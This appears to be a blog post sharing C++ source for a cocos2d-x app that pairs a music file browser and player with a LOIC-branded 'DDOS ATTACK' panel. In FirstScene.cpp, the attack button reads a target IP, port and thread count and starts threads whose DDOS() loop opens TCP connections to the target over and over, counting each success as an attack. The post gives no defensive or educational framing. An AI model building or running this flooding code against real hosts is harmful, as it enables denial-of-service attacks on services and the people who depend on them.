cocos2d-x SimplePro 1.0

 

/*

  部分使用c++11

 

*/

 

MusicLayer.cpp

#include "MusicLayer.h"
#ifdef _WIN32
#include "ATBAudioEngine/ATBAudioEngine.h"
#endif




#define DISPLAY Director::getInstance()->getVisibleSize()
#define displayex Director::getInstance()->getVisibleSize()

MusicLayer::MusicLayer()
{
    this->inits();
    
}

MusicLayer::~MusicLayer()
{
    this->free();
}

void MusicLayer::free()
{
    if (m_XMLDoc != nullptr)
    {
        m_XMLDoc->SaveFile((FileUtils::getInstance()->getWritablePath() + "MusicData.xml").c_str());
        XML::GetInstance()->free(m_XMLDoc);
    }
}

void MusicLayer::inits()
{
    log("MusicLayer init");


    FileUtils::getInstance()->addSearchPath(FileUtils::getInstance()->getWritablePath());


    this->setTouchEnabled(true);
    auto ELTOBO = EventListenerTouchOneByOne::create();
    ELTOBO->setSwallowTouches(true);
    ELTOBO->onTouchBegan = std::move(std::bind(&MusicLayer::onTouchBegan, this, std::placeholders::_1, std::placeholders::_2));
    this->getEventDispatcher()->addEventListenerWithSceneGraphPriority(ELTOBO, this);
    //this->getEventDispatcher()->addEventListenerWithFixedPriority();
    //this->getEventDispatcher()->addCustomEventListener();

    string file("res/Button.png");
    auto btn = cocos2d::ui::Button::create(file, file, file);
    btn->setColor(Color3B(24, 48, 64));
    btn->setPressedActionEnabled(true);
    btn->setScale9Enabled(true);
    btn->setContentSize(Size(100, 50));
    btn->setPosition(Vec2(displayex.width - btn->getContentSize().width / 2,
        displayex.height - btn->getContentSize().height / 2));
    btn->setTitleColor(Color3B::BLUE);
    btn->setTitleFontSize(50);
    btn->setName("X");
    btn->setTitleText("X");
    btn->addClickEventListener(std::bind(&MusicLayer::OnCallback, this, std::placeholders::_1));
    this->addChild(btn);


    this->initFileSearchPathLayer();

    this->initPlayLayer();

    this->initTableView();

    this->createXMLSavePathName(FileUtils::getInstance()->getWritablePath() + "MusicData.xml");

    this->refreshTableView();
}

void MusicLayer::initFileSearchPathLayer()
{
    //seting layer
    auto setLayer = LayerColor::create(Color4B(24, 48, 64, 255));
    setLayer->setContentSize(Size(displayex.width / 3, displayex.height - 50));
    setLayer->setPosition(0, 50);
    setLayer->setName("setLayer");
    this->addChild(setLayer, 1);
    auto ELM = EventListenerMouse::create();
    ELM->onMouseScroll = std::bind(&MusicLayer::onMouseScroll, this, std::placeholders::_1);
    //setLayer->getEventDispatcher()->addCustomEventListener();
    //setLayer->getEventDispatcher()->addEventListenerWithFixedPriority();
    setLayer->getEventDispatcher()->addEventListenerWithSceneGraphPriority(ELM,this);
    

    string file("res/Button.png");
    auto btn = cocos2d::ui::Button::create(file, file, file);
    btn->setColor(Color3B(24, 48, 64));
    btn->setPressedActionEnabled(true);
    btn->setScale9Enabled(true);
    btn->setContentSize(Size(setLayer->getContentSize().width - 100, 40));
    btn->setPosition(Vec2(setLayer->getContentSize().width / 2,
        setLayer->getContentSize().height - btn->getContentSize().height / 2));
    btn->setTitleColor(Color3B::BLUE);
    btn->setTitleFontSize(30);
    btn->setName("Search");
    btn->setTitleText("SEARCH");
    btn->addClickEventListener(std::bind(&MusicLayer::OnCallback, this, std::placeholders::_1));
    setLayer->addChild(btn);
}

void MusicLayer::initPlayLayer()
{
    //player layer
    auto playLayer = LayerColor::create(Color4B(16, 65, 86, 255));
    playLayer->setContentSize(Size(displayex.width, 50));
    this->addChild(playLayer, 1);



    string file("res/Button.png");
    auto btn = cocos2d::ui::Button::create(file, file, file);
    btn->setColor(Color3B(24, 48, 64));
    btn->setPosition(Vec2(playLayer->getContentSize().width / 2,
        playLayer->getContentSize().height / 2));
    btn->setPressedActionEnabled(true);
    btn->setScale9Enabled(true);
    btn->setContentSize(Size(100, 50));
    btn->setTitleColor(Color3B::BLUE);
    btn->setTitleFontSize(20);
    btn->setName("play");
    btn->setTitleText("PLAY");
    btn->addClickEventListener(std::bind(&MusicLayer::OnCallback, this, std::placeholders::_1));
    playLayer->addChild(btn);
}

void MusicLayer::initTableView()
{
    auto setLayer = this->getChildByName("setLayer");
    auto tableView = TableView::create(this, Size(setLayer->getContentSize().width, setLayer->getContentSize().height - 50));
    tableView->setColor(Color3B(13, 64, 98));
    tableView->setName("tableView");
    tableView->setContentSize(Size(setLayer->getContentSize().width, setLayer->getContentSize().height - 100));
    tableView->setDirection(ScrollView::Direction::VERTICAL);
    tableView->setDelegate(this);
    tableView->setTouchEnabled(true);
    tableView->reloadData();
    setLayer->addChild(tableView);
}

void MusicLayer::createXMLSavePathName(string filename)
{
    ssize_t size = 0;
    auto retData = FileUtils::getInstance()->getFileData(filename, "rb+", &size);
    //如果数据不存在
    if (!retData)
    {
        m_XMLDoc = XML::GetInstance()->create();
        XML::GetInstance()->createRoot(m_XMLDoc, "root");
    }
    else
    {
        char *data = (char*)(m_MemoryPool.Allocate(size + 1));
        memcpy(data, retData, size);

        m_XMLDoc = new TiXmlDocument();
        m_XMLDoc->Parse((const char*)(data));

        auto root = m_XMLDoc->FirstChildElement("root");
        for (auto i = root->FirstChildElement(); i != nullptr; i = i->NextSiblingElement())
        {
            if (i != nullptr)
            {
                auto text = i->GetText();
                if (text != nullptr)
                {
                    FileUtils::getInstance()->addSearchPath(text);
                    for (auto j = i->FirstChildElement(); j != nullptr; j = j->NextSiblingElement())
                    {
                        std::cout << j->GetText() << std::endl;
                        this->m_ListPath.push_back(j->GetText());
                        this->m_TableNum++;
                    }
                }
            }
        }

    }
}

void MusicLayer::addPath(string path)
{
    if (m_XMLDoc != nullptr)
    {
        auto node = XML::GetInstance()->createNode("path");
        auto text = XML::GetInstance()->createText(path);
        node->LinkEndChild(text);
        this->m_XMLDoc->RootElement()->LinkEndChild(node);
    }
}

void MusicLayer::addPathChild(string path, string data)
{
    if (m_XMLDoc != nullptr)
    {
        auto root = this->m_XMLDoc->RootElement()->FirstChildElement();
        for (auto i = root; i != nullptr; i = root->NextSiblingElement())
        {
            std::cout << i->GetText() << std::endl;
            if (i->GetText() == path)
            {
                auto node = XML::GetInstance()->createNode("child");
                auto text = XML::GetInstance()->createText(data);
                node->LinkEndChild(text);
                i->LinkEndChild(node);
                break;
            }
        }

    }
}

void MusicLayer::refreshTableView()
{
    auto setLayer = this->getChildByName("setLayer");
    if (setLayer != nullptr)
    {
        TableView *tableView = (TableView*)(setLayer->getChildByName("tableView"));
        if (tableView != nullptr)
        {
            tableView->reloadData();
        }
    }
}




void MusicLayer::OnCallback(cocos2d::Ref* pSender)
{
    string name = ((Node*)(pSender))->getName();
    if (name == "play")
    {
        SimpleAudioEngine::getInstance()->playBackgroundMusic("D:/Audio/YZFHKMS-H.mp3", true);
    }
    else if (name == "X")
    {
        auto action = Sequence::create(MoveTo::create(0.2f, Vec3(-(displayex.width), 0, 0)),
            DelayTime::create(0.1f),
            CallFunc::create([=]()
        {
            this->removeFromParent();
        }), nullptr);
        this->runAction(action);
    }
    else if (name == "Search")
    {
        auto editBox = this->getChildByName("path");
        if (!(editBox))
        {
            auto edit = ui::EditBox::create(Size(600, 50), "res/input.png");
            auto setLayer = this->getChildByName("setLayer");

            edit->setPosition(Vec2(setLayer->getContentSize().width, displayex.height - edit->getContentSize().height / 2));
            edit->setAnchorPoint(Vec2(0.0f, 0.5f));
            edit->setName("path");
            edit->setTag(0);
            this->addChild(edit);
            edit->setDelegate(this);
        }
        else
        {
            if (editBox->getTag() == 0)
            {
                auto setLayer = this->getChildByName("setLayer");
                editBox->runAction(MoveTo::create(0.2f, Vec3(setLayer->getContentSize().width, displayex.height - editBox->getContentSize().height / 2, 0)));
                editBox->setTag(1);
            }
            else if (editBox->getTag() == 1)
            {
                editBox->runAction(MoveTo::create(0.2f, Vec3(-(editBox->getContentSize().width), editBox->getPosition().y, 0)));
                editBox->setTag(0);
            }
        }
    }
    else if (name == "path")
    {
        log("path");
    }
}

void MusicLayer::editBoxEditingDidBegin(EditBox* editBox)
{
    log("editBoxEditingDidBegin");
}
void MusicLayer::editBoxEditingDidEnd(EditBox* editBox)
{
    log("editBoxEditingDidEnd");
}
void MusicLayer::editBoxTextChanged(EditBox* editBox, const std::string& text)
{
    log("editBoxTextChanged");
}
void MusicLayer::editBoxReturn(EditBox* editBox)
{
    string str = editBox->getText();
    editBox->setTag(0);
    if (str == "")
    {
        log("editBoxReturn: %s", "NULL");
        editBox->runAction(MoveTo::create(0.2f, Vec3(-(editBox->getContentSize().width), editBox->getPosition().y, 0)));
        return;
    }
    else
    {
        log("editBoxReturn: %s", str.c_str());
    }

    auto setLayer = this->getChildByName("setLayer");
    TableView *tableView = (TableView*)(setLayer->getChildByName("tableView"));
    tableView->reloadData();

    
    auto sePath = FileUtils::getInstance()->getSearchPaths();
    bool isExist = false;
    for (auto sp = sePath.begin(); sp != sePath.end(); sp++)
    {
        if (str.c_str()[str.length() - 1] != '/')
        {
            str.push_back('/');
        }
        if ((*sp) == str)
        {
            isExist = true; break;
        }
    }
    //如果路径不存在
    if (!isExist)
    {
        FileUtils::getInstance()->addSearchPath(str);
        this->addPath(str);

        auto VV = FileUtils::getInstance()->listFiles(str);
        for (auto i = VV.begin(); i != VV.end(); i++)
        {
            auto is_0 = i->find("./", 0);
            auto is_1 = i->find("../", 0);
            int pos = 0;
            int sPos = 0;
            char tmp[128] = { 0 };
            if (is_0 == -1 && is_1 == -1)
            {
                log("%s", i->c_str());
                pos = i->find(".mp3", 0);
                if (pos != 0 && pos != -1)
                {
                    for (int j = i->size(); j >= 0; j--)
                    {
                        if ((i->c_str())[j] == '/')
                        {
                            sPos = j;
                            break;
                        }
                    }
                    memcpy(tmp, i->c_str() + sPos + 1, (i->size() - sPos));
                    this->addPathChild(str, tmp);
                    this->m_ListPath.push_back(tmp);
                    this->m_TableNum++;
                }
            }
        }
    }

    tableView->reloadData();

    editBox->runAction(MoveTo::create(0.2f, Vec3(-(editBox->getContentSize().width), editBox->getPosition().y, 0)));

}
void MusicLayer::editBoxEditingDidEndWithAction(EditBox* editBox, EditBoxDelegate::EditBoxEndAction action)
{

    log("editBoxEditingDidEndWithAction");
}

void CustomTableViewCell::draw(Renderer *renderer, const Mat4 &transform, uint32_t flags)
{
    TableViewCell::draw(renderer, transform, flags);
    // draw bounding box
    //auto pos = getPosition();
    //auto size = Size(178, 200);
    //Vec2 vertices[4] = {
    //    Vec2(pos.x + 1, pos.y + 1),
    //    Vec2(pos.x + size.width - 1, pos.y + 1),
    //    Vec2(pos.x + size.width - 1, pos.y + size.height - 1),
    //    Vec2(pos.x + 1, pos.y + size.height - 1),
    //};
    //DrawPrimitives::drawColor4B(0, 0, 255, 255);
    //DrawPrimitives::drawPoly(vertices, 4, true);
}
void MusicLayer::tableCellTouched(TableView* table, TableViewCell* cell)
{
    CCLOG("cell touched at index: %ld", static_cast<long>(cell->getIdx()));
    string file = m_ListPath[(int)(cell->getIdx())].c_str();
    log("tableCellTouched %s", file.c_str());
    log("fullPathForFilename %s", FileUtils::getInstance()->fullPathForFilename(file).c_str());
    string GB2312File = UTF8::GetInstance()->UTF_8_TO_GB2312(FileUtils::getInstance()->fullPathForFilename(file));
    string utf8File = FileUtils::getInstance()->fullPathForFilename(file);
#ifdef _WIN32
    ATBAE::GetInstance()->PauseAllMusicAndEffects();
    ATBAE::GetInstance()->LoadMusicsAndPlay(GB2312File);
#else
    SimpleAudioEngine::getInstance()->playBackgroundMusic(utf8File.c_str(), true);
#endif

    file = m_ListPath[(int)(cell->getIdx())].c_str();
    auto label = Label::createWithSystemFont(file, "", 100.0f);
    if (label)
    {
        if (file.length() > 20)
        {
            label->setSystemFontSize(50.0f);
        }
        label->setPosition(DISPLAY / 2);
        this->addChild(label,2);
        auto action = Sequence::create(FadeOut::create(0.0f),
            DelayTime::create(0.0001f),
            FadeIn::create(0.5f),
            DelayTime::create(2.001f),
            FadeOut::create(1.5f), nullptr);
        label->runAction(action);
    }
}
Size MusicLayer::tableCellSizeForIndex(TableView *table, ssize_t idx)
{
    return Size(displayex.width / 3 - 10, 50);
}
TableViewCell* MusicLayer::tableCellAtIndex(TableView *table, ssize_t idx)
{
    //auto string = StringUtils::format("%ld", static_cast<long>(idx));
    TableViewCell *cell = table->dequeueCell();
    if (!cell)
    {
        cell = new (std::nothrow) CustomTableViewCell();
        cell->autorelease();

        auto sprite = Sprite::create("res/Button.png");
        sprite->setAnchorPoint(Vec2::ZERO);
        sprite->setColor(Color3B(24, 48, 64));
        sprite->setPosition(Vec2(displayex.width / 2, 0));
        sprite->setContentSize(Size(displayex.width / 3 - 10, 50));
        sprite->setTag(123);
        cell->addChild(sprite);

        string file = m_ListPath[(int)(idx)];
#ifdef ISHEXSHOW
        char *hex = Encryption::StringToHex_s(file.c_str(), file.length());
        int size = file.length() * 2;
        this->m_MemoryPool.pushback(hex, size, true);
        file = hex;
#endif

        auto label = Label::createWithSystemFont(file, "Helvetica", 21.0F);
        label->setAnchorPoint(Vec2(0.0f, 0.5f));
        label->setPosition(Vec2(10, sprite->getContentSize().height / 2));
        label->setTag(123);
        sprite->addChild(label);
        sprite->runAction(MoveTo::create(m_CreateCellTime,Vec3(0,0,0)));
        m_CreateCellTime += 0.2f;
        log("create cell ");
    }
    else
    {
        //auto label = (Label*)(cell->getChildByTag(123)->getChildByTag(123));
        //label->setString(string);
        //label->setAnchorPoint(Vec2(0.0f, 0.5f));
        //label->setPosition(Vec2(0, label->getPosition().y));
        //log("update cell set string %s",string.c_str());
        this->refreshCellItem((Ref*)(cell), idx);
    }
    return cell;
}
void MusicLayer::refreshCellItem(Ref*node, ssize_t idx)
{
    auto label = (Label*)(((Node*)(node))->getChildByTag(123)->getChildByTag(123));
    string file = m_ListPath[(int)(idx)];
#ifdef ISHEXSHOW
    char *hex = Encryption::StringToHex_s(file.c_str(), file.length());
    int size = file.length() * 2;
    this->m_MemoryPool.pushback(hex, size, true);
    file = hex;
#endif
    label->setString(file);

}
ssize_t MusicLayer::numberOfCellsInTableView(TableView *table)
{
    log("cell x %f, y %f",table->getContentOffset().x, table->getContentOffset().y);
    return m_TableNum;
}

bool MusicLayer::onTouchBegan(Touch *pTouch, Event *pEvent)
{
    log("touch MusicLayer");
    return true;
}

void MusicLayer::onMouseScroll(EventMouse* event)
{
    auto setLayer = this->getChildByName("setLayer");
    TableView *tableView = (TableView*)(setLayer->getChildByName("tableView"));
    auto last = tableView->getContentOffset();
    //方向
    int dir = (int)(event->getScrollY());
    if (dir > 0)
    {
        //tableView->setContentOffset(Vec2(last.x, last.y += 50));
        tableView->setContentOffsetInDuration(Vec2(last.x, last.y += 500), 1.5f);
    }
    else
    {
        tableView->setContentOffset(Vec2(last.x, last.y -= 50));
    }

}

 

MusicLayer.h

#ifndef __MUSICLAYER_H__
#define __MUSICLAYER_H__
#include "cocos2d.h"
#include "cocos/ui/UIButton.h"
#include "cocos/ui/UIEditBox/UIEditBox.h"
#include "extensions/GUI/CCScrollView/CCTableView.h"
#include "SimpleAudioEngine.h"
#include <vector>
#include "iconv/UTF8.h"
#include "xml/XML.h"
#include "socket/Private/MemoryPool.h"
#include "socket/Private/Encryption.h"
using namespace cocos2d;
using namespace ui;
using namespace CocosDenshion;
using namespace extension;
using namespace std;



class CustomTableViewCell : public TableViewCell
{
public:
    virtual void draw(cocos2d::Renderer *renderer, const cocos2d::Mat4 &transform, uint32_t flags) override;
};

class MusicLayer:public LayerColor, 
    EditBoxDelegate, 
    TableViewDataSource,
    TableViewDelegate
{
    int m_TableNum = 0;
    vector<string> m_ListPath;
    float m_CreateCellTime = 0.0f;
    TiXmlDocument *m_XMLDoc = nullptr;
    MemoryPool m_MemoryPool;
public:
    void inits();
    void free();
    MusicLayer();
    ~MusicLayer();
private:
    void OnCallback(cocos2d::Ref* pSender);
    virtual bool onTouchBegan(Touch *touch, Event *unused_event) override;

    virtual void editBoxEditingDidBegin(EditBox* editBox)override;
    CC_DEPRECATED_ATTRIBUTE virtual void editBoxEditingDidEnd(EditBox* editBox)override;
    virtual void editBoxTextChanged(EditBox* editBox, const std::string& text)override;
    virtual void editBoxReturn(EditBox* editBox)override;
    virtual void editBoxEditingDidEndWithAction(EditBox* editBox, EditBoxDelegate::EditBoxEndAction action)override;

    virtual void scrollViewDidScroll(ScrollView* view) override {}
    virtual void scrollViewDidZoom(ScrollView* view) override {}
    virtual void tableCellTouched(TableView* table, TableViewCell* cell)override;
    virtual Size tableCellSizeForIndex(TableView *table, ssize_t idx)override;
    virtual TableViewCell* tableCellAtIndex(TableView *table, ssize_t idx)override;
    virtual ssize_t numberOfCellsInTableView(TableView *table)override;

    void onMouseScroll(EventMouse* event);
private:
    void initFileSearchPathLayer();
    void initPlayLayer();
    void initTableView();
    void refreshCellItem(Ref*node,ssize_t idx);
    void createXMLSavePathName(string filename);
    void addPath(string path);
    void addPathChild(string path, string data);
    void refreshTableView();

};
#endif // !__MUSICLAYER_H__

 

FirstScene.cpp

#include "FirstScene.h"
#include "SimpleAudioEngine.h"
#include "cocos/ui/UIButton.h"
#include "cocos/ui/UIEditBox/UIEditBox.h"
#include "SOIL2/SOIL2.h"
 /*
     int width, height;

     std::string fullpath = FileUtils::getInstance()->fullPathForFilename("06a03.jpg");
     unsigned char *data = SOIL_load_image(fullpath.c_str(), &width, &height, 0, SOIL_LOAD_RGBA);
     ssize_t size;
     data = FileUtils::getInstance()->getFileData(fullpath, "rb", &size);
     data = SOIL_load_image_from_memory(data,size,&width,&height, 0, SOIL_LOAD_RGBA);
     if (data == nullptr)
     {
         cocos2d::log("%s . path is : %s\n", "path error",fullpath.c_str());
     }

     Image *image = new (std::nothrow) Image();

     //cocos2d::Texture2D::PixelFormat::RGBA8888

     image->initWithRawData(data, size, width,height, 2);
     image->setPNGPremultipliedAlphaEnabled(true);

     //SOIL_free_image_data(data);

     auto so = Sprite::createWithTexture(Director::getInstance()->getTextureCache()->addImage(image, "key"));
     //auto so = Sprite::create("res/06a03.jpg");
     so->setPosition(visibleSize / 2);
     so->setScale(1.0f);
     delete image;
     this->addChild(so);

 */
#include "libyuv.h"
#include "socket/Private/MemoryPool.h"
#include "sqlite/sqlite3.h"
#include "socket/Private/Encryption.h"
#include "socket/TCPSocket.h"
#include "socket/Private/ThreadPool.h"
#include "Tools/Tools.h"





USING_NS_CC;
#define DISPLAY Director::getInstance()->getVisibleSize()
#define displayex Director::getInstance()->getVisibleSize()
#define STOPTHREAD        1
#define STARTTHREAD       0

static unsigned long long g_attackCount = 0;
static int THREADSTATE = STARTTHREAD;
static bool isOk = false;


Scene* FirstScene::createScene()
{
    return FirstScene::create();
}

FirstScene::~FirstScene()
{
    ThreadPool::GetInstance()->stopAll();
    if (m_RandIPNum > 0)
    {
        m_Tools.free((char**)m_RandIP, m_RandIPNum);
    }
    
}

void FirstScene::update(float delta)
{
    if (m_RandIP != nullptr && isOk)
    {
        auto IPLabel = Label::create((char*)(m_RandIP[rand() % m_RandIPNum]), "fonts/arial.ttf", 20.0F);
        IPLabel->setPosition(rand() % 2000, rand() % 20 + rand() % 600);
        IPLabel->setColor(Color3B(rand() % 255, rand() % 255, rand() % 200));
        IPLabel->setName("IPLabel");
        this->addChild(IPLabel);

        auto move = MoveTo::create(0.5, Vec3(displayex.width / 2, displayex.height - 50, 0));
        Sequence::create(move,FadeOut::create(0.2f), CallFunc::create([=]()
        {
            IPLabel->removeFromParent();
        }), nullptr);
        IPLabel->runAction(move);
    }
}

// on "init" you need to initialize your instance
bool FirstScene::init()
{
    //////////////////////////////
    // 1. super init first
    if (!Scene::init())
    {
        return false;
    }

    auto display = Director::getInstance()->getVisibleSize();
    Vec2 origin = Director::getInstance()->getVisibleOrigin();

    //背景
    auto background = cocos2d::LayerColor::create(cocos2d::Color4B(12, 24, 32, 255));
    this->addChild(background);

    //图标
    string icon("res/LOIC.png");
    auto sprite = Sprite::create(icon);
    sprite->setContentSize(Size(260, display.height));
    sprite->setPosition(sprite->getContentSize().width / 2,
        display.height / 2);
    this->addChild(sprite);

    //ddos
    auto ddosPanel = ui::Button::create(icon, icon, icon);
    ddosPanel->setScale9Enabled(true);
    ddosPanel->setContentSize(Size(260, display.height));
    ddosPanel->setPosition(Vec2(sprite->getContentSize().width / 2,
        displayex.height / 2));
    ddosPanel->setOpacity(10);
    ddosPanel->setName("ddosPanel");
    this->addChild(ddosPanel);
    //ddosPanel->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this));
    ddosPanel->addClickEventListener(std::bind(&FirstScene::OnCallback, this,std::placeholders::_1));



    string file("res/Button.png");
    auto btn = cocos2d::ui::Button::create(file, file, file);
    btn->setColor(Color3B(24, 48, 64));
    btn->setPosition(display / 2);
    btn->setPressedActionEnabled(true);
    btn->setContentSize(Size(200, 100));
    btn->setTitleLabel(Label::createWithTTF("","fonts/arial.ttf",30));
    btn->setTitleColor(Color3B::BLUE);
    btn->setTitleText("Musics");
    btn->setTitleFontSize(30);
    btn->setName("Music");
    btn->addClickEventListener(std::bind(&FirstScene::OnCallback, this, std::placeholders::_1));
    this->addChild(btn);


    this->addChild(this->CreateDDOS());
    return true;
}

Node *FirstScene::CreateDDOS()
{
    auto layer = LayerColor::create(cocos2d::Color4B(24, 48, 64, 255));
    layer->setContentSize(Size(300, DISPLAY.height));
    layer->setPosition(DISPLAY.width, 0);
    layer->setName("ddos");
    layer->setTag(0);

    auto label = Label::createWithTTF("DDOS ATTACK", "fonts/arial.ttf", 30.0F);
    label->setPosition(layer->getContentSize().width / 2,
        layer->getContentSize().height - label->getContentSize().height / 2);
    label->setSkewX(10);
    layer->addChild(label);

    int space_x = 10;
    //ip
    auto IP = ui::EditBox::create(Size(260, 30), "res/input.png");
    IP->setPosition(Vec2(layer->getContentSize().width / 2 + 20,
        label->getPosition().y -
        label->getContentSize().height / 2 -
        IP->getContentSize().height / 2 - space_x));
    IP->setText("127.0.0.1");
    //IP->setFont("fonts/arial.ttf", 20);
    IP->setName("IP");
    layer->addChild(IP);
    auto IPLabel = Label::create("IP", "fonts/arial.ttf", 20.0F);
    IPLabel->setPosition(IPLabel->getContentSize().width / 2, IP->getPosition().y);
    layer->addChild(IPLabel);
    //端口
    auto Port = ui::EditBox::create(Size(100, 30), "res/input.png");
    Port->setPosition(Vec2(layer->getContentSize().width - Port->getContentSize().width / 2,
        IP->getPosition().y -
        IP->getContentSize().height / 2 -
        Port->getContentSize().height / 2 - space_x));
    Port->setText("80");
    Port->setName("Port");
    layer->addChild(Port);
    auto PortLabel = Label::create("Port", "fonts/arial.ttf", 20.0F);
    PortLabel->setPosition(PortLabel->getContentSize().width / 2, Port->getPosition().y);
    layer->addChild(PortLabel);
    //线程
    auto Thread = ui::EditBox::create(Size(100, 30), "res/input.png");
    Thread->setPosition(Vec2(layer->getContentSize().width - Thread->getContentSize().width / 2,
        Port->getPosition().y -
        Port->getContentSize().height / 2 -
        Thread->getContentSize().height / 2 - space_x));
    Thread->setText("10");
    Thread->setName("Thread");
    layer->addChild(Thread);
    auto ThreadLabel = Label::create("Thread", "fonts/arial.ttf", 20.0F);
    ThreadLabel->setPosition(ThreadLabel->getContentSize().width / 2, Thread->getPosition().y);
    layer->addChild(ThreadLabel);
    //随机IP数量
    auto RandIP = ui::EditBox::create(Size(100, 30), "res/input.png");
    RandIP->setPosition(Vec2(layer->getContentSize().width - RandIP->getContentSize().width / 2,
        Thread->getPosition().y -
        Thread->getContentSize().height / 2 -
        RandIP->getContentSize().height / 2 - space_x));
    RandIP->setText("1000");
    RandIP->setName("RandIP");
    layer->addChild(RandIP);
    auto RandIPLabel = Label::create("Random IP Count", "fonts/arial.ttf", 20.0F);
    RandIPLabel->setPosition(RandIPLabel->getContentSize().width / 2, RandIP->getPosition().y);
    layer->addChild(RandIPLabel);



    string file("res/Button.png");
    auto attack = cocos2d::ui::Button::create(file, file, file);
    //attack->setContentSize(Size(200, 100));
    attack->setTitleText("STARTATTACK");
    attack->setTitleFontSize(15);
    attack->setPosition(Vec2(attack->getContentSize().width / 2 + 10, attack->getContentSize().height / 2 + 10));
    attack->setPressedActionEnabled(true);
    attack->setName("attack");
    layer->addChild(attack);
    attack->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this));

    auto StopAttack = cocos2d::ui::Button::create(file, file, file);
    //StopAttack->setContentSize(Size(200, 100));
    StopAttack->setTitleText("STOPATTACK");
    StopAttack->setTitleFontSize(15);
    StopAttack->setPosition(Vec2(layer->getContentSize().width - StopAttack->getContentSize().width / 2 - 10,
        StopAttack->getContentSize().height / 2 + 10));
    StopAttack->setPressedActionEnabled(true);
    StopAttack->setName("StopAttack");
    layer->addChild(StopAttack);
    StopAttack->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this));

    return layer;
}

static mutex g_mutexs;
void FirstScene::OnCallback(Ref* pSender)
{
    srand(0);
    auto node = ((Node*)pSender);
    //==================================
    if (node->getName() == "ddosPanel")
    {
        cocos2d::log("%s", "ddosPanel");
        auto layer = node->getParent()->getChildByName("ddos");
        if (layer->getTag() == 0)
        {
            auto moveTo = MoveTo::create(0.1f, Vec3(DISPLAY.width - layer->getContentSize().width,
                0, 0));
            layer->runAction(moveTo);
            layer->setTag(1);
        }
        else
        {
            auto moveTo = MoveTo::create(0.1f, Vec3(DISPLAY.width, 0, 0));
            layer->runAction(moveTo);
            layer->setTag(0);
        }
    }
    else if (node->getName() == "attack")
    {
        //攻击线程启动
        THREADSTATE = STARTTHREAD;

        string IP = ((ui::EditBox*)node->getParent()->getChildByName("IP"))->getText();
        string Port = ((ui::EditBox*)node->getParent()->getChildByName("Port"))->getText();
        string Thread = ((ui::EditBox*)node->getParent()->getChildByName("Thread"))->getText();
        string RandIP = ((ui::EditBox*)node->getParent()->getChildByName("RandIP"))->getText();
        cocos2d::log("start ddos attack, IP is: %s, Port is: %s, Thread is: %s, Random IP Count is: %s ",
            IP.c_str(),
            Port.c_str(),
            Thread.c_str(),
            RandIP.c_str());

        int count = atoi(Thread.c_str());
        for (int i = 0; i < count; i++)
        {
            ThreadPtr threadPtr;
            threadPtr.ThreadID = i;
            std::function<void(int, std::string, std::string)>  iss = std::bind(&FirstScene::DDOS,this,
                std::placeholders::_1,
                std::placeholders::_2,
                std::placeholders::_3);
            threadPtr.ptrThread = std::move(std::shared_ptr<thread>(new thread(iss, threadPtr.ThreadID,IP,Port)));
            ThreadPool::GetInstance()->addChild(threadPtr);
        }
        m_RandIPNum = atoi(RandIP.c_str());

        //释放上一此的内存
        static int lastRandIPNum = 0;
        if (lastRandIPNum != 0 && lastRandIPNum != m_RandIPNum)
        {
            m_Tools.free((char**)(m_RandIP), m_RandIPNum);
        }
        lastRandIPNum = m_RandIPNum;


        //单独线程获取随机IP
        ThreadPtr threadPtr;
        threadPtr.ThreadID = 10000;
        auto VoidP = [=](int ID)
        {
            if (THREADSTATE == STARTTHREAD)
            {
                m_RandIP = m_Tools.CreateSrandIP(m_RandIPNum);
                //表示初始化IP完毕
                isOk = true;
            }
            else
            {
                return;
            }
        };
        std::function<void(int)>  iss = std::bind(VoidP,std::placeholders::_1);
        threadPtr.ptrThread = std::move(std::shared_ptr<thread>(new thread(iss, threadPtr.ThreadID)));
        ThreadPool::GetInstance()->addChild(threadPtr);

        this->scheduleUpdate();
    }
    else if (node->getName() == "StopAttack")
    {
        cocos2d::log("%s", "StopAttack.................. Please Wait All Thread Stop!!!!!!!!!!");
        isOk = false;
        THREADSTATE = STOPTHREAD;
        ThreadPool::GetInstance()->stopAll();
        this->unscheduleUpdate();

        auto action = Sequence::create(DelayTime::create(1.0f),
            CallFunc::create([=]()
        {
            while (true)
            {
                auto node = this->getChildByName("IPLabel");
                if (node != nullptr)
                {
                    node->removeFromParent();
                }
                else
                {
                    return;
                }
            }
        }), nullptr);
        this->runAction(action);

    }
    else if (node->getName() == "Music")
    {
        auto musicLayer = new (std::nothrow) MusicLayer();
        if (musicLayer && musicLayer->initWithColor(Color4B(12, 24, 32, 255)))
        {
            musicLayer->setPosition(0, DISPLAY.height);
            musicLayer->runAction(MoveTo::create(0.2f, Vec3(0, 0, 0)));
            musicLayer->autorelease();
            this->addChild(musicLayer);
        }
    }


}

void FirstScene::DDOS( int ID, string IP, string Port)
{
    std::cout << ID<<" " << IP.c_str()<<" " << Port.c_str() << std::endl;
    static unsigned long long var = 0;
    static int FPS = 1;
    static Tools tool;
    while (true)
    {
        if (THREADSTATE == STOPTHREAD)
        {
            return;
        }
        else if (THREADSTATE == STARTTHREAD)
        {
            lock_guard<mutex> LG(g_mutexs);
            static unsigned long long times = tool.GetCurrentTimeMsec();
            var = tool.GetCurrentTimeMsec() - times;
            if (var >= FPS)
            {
                int ret = 0;
                ret = TCPSocket::getInstance()->connect(IP.c_str(), (short)atoi(Port.c_str()));
                if (ret == 1)
                {
                    //log("send Success  count : %d !!!", g_attackCount);
                    g_attackCount++;
                }
                else
                {
                    log("send Fail !!!");
                }
                times = tool.GetCurrentTimeMsec();
            }
        }
        else
        {
            //thread Sleep;
        }

    }
    return;
}

 

FirstScene.h

#ifndef __FirstScene_SCENE_H__
#define __FirstScene_SCENE_H__

#include "cocos2d.h"
#include <iostream>
#include <string.h>

using namespace std;
#include "MusicLayer.h"
#include "Tools/Tools.h"

class FirstScene : public cocos2d::Scene
{

    unsigned char **m_RandIP = nullptr;
    Tools m_Tools;
    int m_RandIPNum = 0;
public:
    static cocos2d::Scene* createScene();
    ~FirstScene();

    virtual bool init();
    
    // a selector callback
    void OnCallback(cocos2d::Ref* pSender);
    
    // implement the "static create()" method manually
    CREATE_FUNC(FirstScene);

    Node *CreateDDOS();

    void DDOS(int ID, string IP, string Port);

    virtual void update(float delta);
};

#endif // __FirstScene_SCENE_H__

 

posted @ 2020-04-19 20:51  YZFHKMS-X  阅读(168)  评论(0编辑  收藏  举报